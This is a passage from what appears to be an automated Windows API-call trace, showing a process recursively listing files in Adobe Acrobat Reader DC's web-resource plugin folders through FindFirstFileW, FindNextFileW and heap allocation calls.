hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.241] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.241] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0249.241] GetProcessHeap () returned 0xc10000 [0249.241] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.241] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.241] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.242] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.242] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x58a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.242] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.242] GetProcessHeap () returned 0xc10000 [0249.242] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.242] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-cn", cAlternateFileName="")) returned 1 [0249.243] GetProcessHeap () returned 0xc10000 [0249.243] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.243] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\zh-cn\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.243] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.243] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.244] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.244] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.244] GetProcessHeap () returned 0xc10000 [0249.244] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.244] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 1 [0249.245] GetProcessHeap () returned 0xc10000 [0249.245] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\zh-tw\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.245] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.245] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0249.246] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0249.246] FindClose (in: hFindFile=0x33e48e8 | out: hFindFile=0x33e48e8) returned 1 [0249.246] GetProcessHeap () returned 0xc10000 [0249.246] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.246] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-tw", cAlternateFileName="")) returned 0 [0249.246] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0249.246] GetProcessHeap () returned 0xc10000 [0249.246] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0249.247] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugin.js", cAlternateFileName="")) returned 1 [0249.247] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 1 [0249.247] GetProcessHeap () returned 0xc10000 [0249.247] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0249.247] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\plugins\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0249.248] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.248] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 1 [0249.249] GetProcessHeap () returned 0xc10000 [0249.249] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0249.249] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\plugins\\rhp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0249.249] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.249] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xf7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="createpdfupsell-app-selector.js", cAlternateFileName="CREATE~2.JS")) returned 1 [0249.250] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2771, dwReserved0=0x0, dwReserved1=0x0, cFileName="createpdfupsell-app-tool-view.js", cAlternateFileName="CREATE~1.JS")) returned 1 [0249.250] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x2771, dwReserved0=0x0, dwReserved1=0x0, cFileName="createpdfupsell-app-tool-view.js", cAlternateFileName="CREATE~1.JS")) returned 0 [0249.250] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0249.250] GetProcessHeap () returned 0xc10000 [0249.250] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0249.250] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rhp", cAlternateFileName="")) returned 0 [0249.250] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0249.250] GetProcessHeap () returned 0xc10000 [0249.250] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0249.251] FindNextFileW (in: hFindFile=0x33e4ea8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0249.251] FindClose (in: hFindFile=0x33e4ea8 | out: hFindFile=0x33e4ea8) returned 1 [0249.251] GetProcessHeap () returned 0xc10000 [0249.251] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0249.252] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0249.252] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0249.253] GetProcessHeap () returned 0xc10000 [0249.253] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0249.253] FindNextFileW (in: hFindFile=0x33e4e28, lpFindFileData=0x2e5e298 | out: lpFindFileData=0x2e5e298*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dc-annotations", cAlternateFileName="DC-ANN~1")) returned 1 [0249.253] GetProcessHeap () returned 0xc10000 [0249.254] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0249.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\dc-annotations\\*", lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0249.255] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.255] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0249.255] GetProcessHeap () returned 0xc10000 [0249.256] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0249.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\dc-annotations\\css\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0249.257] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0249.257] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0249.257] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0249.257] GetProcessHeap () returned 0xc10000 [0249.257] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39a28c0 | out: hHeap=0xc10000) returned 1 [0249.257] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0249.257] GetProcessHeap () returned 0xc10000 [0249.257] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39a28c0 [0249.258] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\dc-annotations\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed70183, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed70183, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed70183, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", 